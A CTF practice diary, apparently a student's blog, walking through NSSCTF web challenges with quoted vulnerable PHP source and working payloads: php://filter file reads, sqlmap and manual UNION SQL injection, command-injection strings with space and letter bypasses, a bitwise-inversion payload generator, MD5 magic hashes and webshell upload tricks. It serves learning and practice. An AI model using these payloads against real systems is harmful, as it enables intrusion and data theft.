NSSCTF平台刷题日记

彩蛋~

[SWPUCTF 2021 新生赛]jicao

题目源码
<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>
  • 从GET请求中获取一个名为json的参数,并将其作为JSON字符串解析成一个关联数组,赋值给变量 json 。如果解析失败,那么 json将为NULL。

post很简单,这个get发送json,先解码,当成数组处理,这里就说json的第一个值得是x,第二值得是wllm

关于json的介绍:

JSON(JavaScript Object Notation, JS对象简谱)是一种轻量级的数据交换格式。它基于 ECMAScript(European Computer Manufacturers Association, 欧洲计算机协会制定的js规范)的一个子集,采用完全独立于编程语言的文本格式来存储和表示数据。简洁和清晰的层次结构使得 JSON 成为理想的数据交换语言。 易于人阅读和编写,同时也易于机器解析和生成,并有效地提升网络传输效率。

JSON的值:
3.1 JSON的构成: ws 值
3.2值可以是对象、数组、数字、字符串或者三个字面值(false、null、true)中的一个。值中的字面值中的英文必须使用小写。
3.2.1对象由花括号括起来的逗号分割的成员构成,成员是字符串键和上文所述的值由逗号分割的键值对组成,如:

{"name": "John Doe", "age": 18, "address": {"country" : "china", "zip-code": "10000"}}

引用JSON中的对象可以包含多个键值对,并且有数组结构,该语言正是一次实现过程内容的描述。
3.2.2数组是由方括号括起来的一组值构成,如:
[3, 1, 4, 1, 5, 9, 2, 6]
3.2.3 字符串与C或者Java的字符串非常相似。字符串是由双引号包围的> 任意数量Unicode字符的集合,使用反斜线转义。一个字符(character)即一个单独的字符串(character string)。
3.2.4数字也与C或者Java的数值非常相似。除去未曾使用的八进制与十六进制格式。除去一些编码细节。

[SWPUCTF 2021 新生赛]easy_md5

题目源码
<?php 
 highlight_file(__FILE__);
 include 'flag2.php';

if (isset($_GET['name']) && isset($_POST['password'])){
  $name = $_GET['name'];
  $password = $_POST['password'];
  if ($name != $password && md5($name) == md5($password)){
    echo $flag;
  }
  else {
    echo "wrong!";
  }

}
else {
  echo 'wrong!';
}
?>

简单的md5绕过,做过很多次了
补充常见绕过字符串

byGcY
0e591948146966052067035298880982

QNKCDZO
0e830400451993494058024219903391

s878926199a
0e545993274517709034328855841020

s155964671a
0e342768416822451524974117254469

s214587387a
0e848240448830537924465865611904

s214587387a
0e848240448830537924465865611904

s878926199a
0e545993274517709034328855841020

s1091221200a
0e940624217856561557816327384675

s1885207154a
0e509367213418206700842008763514

240610708
0e462097431906509019562988736854

314282422
0e990995504821699494520356953734

571579406
0e972379832854295224118025748221

903251147
0e174510503823932942361353209384

[SWPUCTF 2021 新生赛]include 知识点:PHP伪协议

题目源码
<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> 

php伪协议,先传入file参数,源码就显现出来了,看到了include_once这个函数,简单看下这个函数的作用

网友的wp说这个函数就可以执行php伪协议的文件读写操作
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
php支持的字符编码:https://www.php.net/manual/zh/mbstring.supported-encodings.php
相关文章:https://www.yijinglab.com/qydt/20210906145653

[SWPUCTF 2021 新生赛]easy_sql

不知道为啥我用sqlmap爆不出来列名,到表名后面就不行了……先得判断,哈哈哈sqlmap爆不出来的原因找到了,表的名字是test_tb而不是db,真尼玛离谱

方法①:sqlmap自动跑
爆库:python sqlmap.py -u "http:/xxxx/?wllm=1" --dbs

爆表:python sqlmap.py -u http://xxxx/?wllm=1'' --tables -D "test_db"

爆列:python sqlmap.py -u "http://xxxx?wllm=1" --columns -D "test_db" -T "test_tb"

爆具体数据:python sqlmap.py -u "http://xxxx?wllm=1" --dump -D "test_db" -T "test_tb" -C "flag"

方法②:手工注入一下
先测一下闭合:

当输入一个’的时候没有报错,了解
测试一下字段数:?wllm=-1' order by 3--+

3正常回显

4报错,说明字段数是3

开始查找回显位:(注意,在查找回显位时,要把开头的参数设置为-1,也就是让数据库没法查到就行,这样他才会执行后面的语句)

查到回显位是2,3

查找一下数据库:?wllm=-1' union select 1,2,database()--+

查找表名:?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='test_db'--+

查找列名:?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='test_tb'--+

查找具体数据:/?wllm=-1' union select 1,2,group_concat(id,flag) from test_tb--+

遇到的问题
①:不能用 #用 %23
#可能被认为是锚点了,就是用来定位网页的,%23不会

②:这里需要把wllm设置为不为1的数(就是让他查不到数据就行,因为wllm=1查得到数据),不然它只会输出wllm=1查询到的数据。


③:要注意闭合,一定要让sql语句去报错,因为报错了以后才能加上后面的sql注入语句是整个语句不报错,如果一开始就已经不报错了,后面的语句就不会执行了,这样才能进行后面的爆字段和爆库,爆表,爆列。

④:要注意加注释,这样才能sql语句才不会报错,就是要让整个语句都完整

[SWPUCTF 2021 新生赛]easyrce

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?> 

payload:system(“cat /f*”);

遇到的问题
这题不是简单的cat flag,真正的flag的文件名是flllllaaaaaaggggggg,所以我们得用通配符,f*或fl*来得到真正的flag

别人的思路:

这样就可以具体知道flag名字了

补充:
其他可执行的payload:
?url=system(‘tac /flllllaaaaaaggggggg’);
?url=system(“head /fl*”);
cat、more、head、tail 都可用 !

[SWPUCTF 2021 新生赛]caidao

菜刀连接一下,在根目录就可以获得flag

这种成功连接的行为叫做getshell

[SWPUCTF 2021 新生赛]Do_you_know_http

简单的http协议,做过很多遍了,先修改一下UA头也就是浏览器,再伪造一下ip为本地ip就可以获得flag了

[SWPUCTF 2021 新生赛]babyrce

<?php
error_reporting(0);
header("Content-Type:text/html;charset=utf-8");
highlight_file(__FILE__);
if($_COOKIE['admin']==1) 
{
    include "../next.php";
}
else
    echo "小饼干最好吃啦!";
?> 

在Application里添加一条cookie值就可以完成伪造,name=admin,然后value=1,得到了rasalghul.php

访问这个地址得到了一串新的源码

<?php
error_reporting(0);
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET['url'])) {
  $ip=$_GET['url'];
  if(preg_match("/ /", $ip)){
      die('nonono');
  }
  $a = shell_exec($ip);
  echo $a;
}
?>

payload:http://xx/rasalghul.php?url=cat${IFS}/f*

${IFS}可以当作空格来绕过

[第五空间 2021]WebFTP

dirsearch -u “http://xxxx/?m=login&a"扫一下目录发现README.md,

发现了后台的账号和密码,但是进去后台后却没有找到flag,反而是读一下phpinfo.php里搜索一下flag就可以找到真正的flag了,这题也是有点无语……,但也是让我知道了原来phpinfo这种地方也是可能会放flag的

[NCTF 2018]签到题

抓个包,然后把/serect.php改为/index.php就可以得到flag,为啥默认会跳转到百度那个页面啊?我不是很理解

[NISACTF 2022]easyssrf 知识点:PHP伪协议

题目是easyssrf,想起来了之前做过类似的题,就是先用ssrf试探一下,输入file:///flag可以得到这个提示,然后我们再输入file:///fl4g,就又获得了提示(见图)

提示我们去给的路径访问一下,于是我们看到了一段php代码

<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
  die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

这里有stristr这个代码,对这个代码的简单介绍:

这个函数也可以用伪协议读取文件来绕过,所以就感觉一直在考php伪协议……

最终payload:?file=php://filter/read=convert.base64-encode/resource=/flag,得到flag的base64加密形式,然后解密一下得到flag

之前没有见到过的知识点……

[BJDCTF 2020]easy_md5 知识点:SQL万能密码

这里有个hint,说明了这里提交的表单是用sql语句进行的,我们可以输入万能密码ffifdyop进行绕过

ffifdyop这个万能密码,适用于sql注入语句中,之前没遇到过,得记一下

输入万能密码后,跳转到这个页面,查看一下源代码

发现源码的路径,直接去levelll4.php看看怎么个事,哦吼,发现了新东西,源码如下

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;

这很明显三个等于号就是md5的强等于绕过,用一下数组绕过就可以了

成功得到flag

[suctf 2019]EasySQL 知识点:堆叠注入

正常的sql语句都不太行,order,flag,select,information_schema等等语句都是被过滤掉了,常规的注入肯定是不行的,这就不是道常规的sql注入题目……

[NSSCTF 2022 Spring Recruit]ezgame 知识点:JS代码分析

英文单词:console(控制台)

修改一下分数的参数就可以直接获得flag了,或者把整个js代码复制下来,里面就直接有flag了,也是比较常见的套路

要先去查看页面的js/preload.js文件找到控制分数的变量scorePoint,然后再对具体的参数进行修改。

[SWPUCTF 2021 新生赛]hardrce 知识点:无字母RCE&取反

题目源码
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦!");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
}
?> NoVic4说:不错哦小伙子,可你能拿到flag吗?

粗略的看了下,可以看到它过滤的字符有$ ^ * < > [ ] ? 空格 = ,还有任何的字母也是不可以使用的,ban掉了$,也就ban掉了自增这条路,ban掉了^,也就ban掉了异或这条路,所以这题我们可以使用取反来绕过。

感谢这篇文章提供的脚本思路:https://blog.csdn.net/qq_64201116/article/details/125426239?ops_request_misc=&request_id=&biz_id=102&utm_term=%E6%97%A0%E5%AD%97%E6%AF%8Drce&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-125426239.142^v100^pc_search_result_base8&spm=1018.2226.3001.4187

取反脚本

<?php
//在命令行中运行

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

使用时在命令行中使用就可以了,命令为php 取反.php(假设文件名为取反)

利用脚本就可以直接获取到flag了

一些我也有疑惑的问题:

[GXYCTF 2019]Ping Ping Ping 知识点:RCE&空格绕过&反引号

这题的疑惑点太多了……,一开始我是进行黑盒测试,发现很多字符都被过滤了,比如说/ * < > { },然后空格也是被过滤了,但是很艹的点是,我的payload一开始打的是127.0.0.1;cat$IFSflag.php,结果他一直提示我fuck your space,所以我以为是我的$IFS是没办法绕过的,然后我就一直想啊想啊,各种的空格绕过姿势,结果告诉我其实是我每次复制的时候都一不小心多复制了个空格,然后他优先查询的是你有没有空格,但其实真正需要过滤的点是flag这个东西,这题我不知道为什么直接去cat flag.php是不可以的,必须要先ls一下才可以,也就是哪怕你把flag用拼接成功绕过了,但是还是拿不到flag,这点我很疑惑啊

127.0.0.1;cat$IFSflag.php这个payload输进去没有任何的反应,正确的payload是ip=;cat$IFS$9`ls` ,这里的反引号”`”是这么个用法,他会优先执行反引号里包裹的语句也就是ls,ls出来的内容是index.php 和 flag.php,所以这条语句就相当于执行了 cat index.php flag.php,把这两个内容同时读取了出来,这样就可以成功的得到flag,但至于为什么第一种是不可以的,我也搞不懂。

另外,这题你执行完语句后要去查看源码才能看到具体的内容,而没有显示在前端的页面上,我也不知道为什么。

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>I can ping you!</title>
<center>
    <h2 style="margin-top: 300">听说php可以执行系统函数?我来康康<br></h2>
    <form action="" method="get" >
        <input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
        <button style="margin-left:20;" type="submit">确定</button>
    </form>

    <pre><?php
    $flag = "NSSCTF{27072cdf-b42f-483c-9503-622dc40ffddd}";
?><meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>I can ping you!</title>
<center>
    <h2 style="margin-top: 300">听说php可以执行系统函数?我来康康<br></h2>
    <form action="" method="get" >
        <input type="text" name="ip" placeholder="Why not try bjut.edu.cn" required>
        <button style="margin-left:20;" type="submit">确定</button>
    </form>

    <?php
    if(isset($_GET['ip'])){
        $ip = $_GET['ip'];
        if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
            print_r($match);
            print($ip);
            echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
            die("fxck your symbol!");
        }
        else if(preg_match("/ /", $ip)){ //从这里的源码就可以看出来他是优先匹配空格的,然后再去看你有没有flag。
            die("fxck your space!");
        }
        else if(preg_match("/bash/", $ip)){
            die("fxck your bash!");
        }
        else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
            die("fxck your flag!");
        }
        $a = shell_exec("ping -c 4 ".$ip);
        echo "<pre>";
        print_r($a);
    }

    ?>

</center>

总结

①空格绕过姿势:

> < <> 重定向符
%20(space)
%09(tab)
$IFS$9 
${IFS}(最好用这个)
$IFS  
%0a  换行符
{cat,flag.txt} 在大括号中逗号可起分隔作用

②反引号的优先执行规则,``在两个反引号中间的内容会优先执行,例如cat `ls` 就会优先执行ls这个命令再执行cat的命令

③绕过过滤flag可以使用拼接,譬如b=g;cat flab.php,这样就可以绕过flag,但是这题没有用……

[SWPUCTF 2021 新生赛]error 知识点:sqlmap

你说的对,但sqlmap一把梭,感觉一把梭就真的和之前那题没啥区别了,连数据库名 表名都不带换的hhh

这就告诉我们post传参可以用#,但是get传参不可以用#

[SWPUCTF 2021 新生赛]sql

不是,这奇葩题怎么手注和sqlmap跑出来的flag填进去都不对哇,环境有问题……
我只能说还是sqlmap一把梭,yyds

[SWPUCTF 2021 新生赛]finalrce

题目源码
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

[SWPUCTF 2021 新生赛]easyupload1.0

进去页面就是上传图片,它过滤了php的后缀,需要用pht,phtml来绕过,它会识别php字符,所以php3,php4也是不可以的。

然后上传一句话木马就可以了,然后这题还有一个坑,就是它flag.php里面的flag是假的,真正的flag在phpinfo里面搜索一下(很逆天的设计)就有了……

[SWPUCTF 2021 新生赛]easyupload2.0

和上一题打法是一样的,只要上传🐎然后改一下后缀绕过就行了,这题的flag就直接在flag.php里面

[SWPUCTF 2021 新生赛]no_wakeup

//题目源码
<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>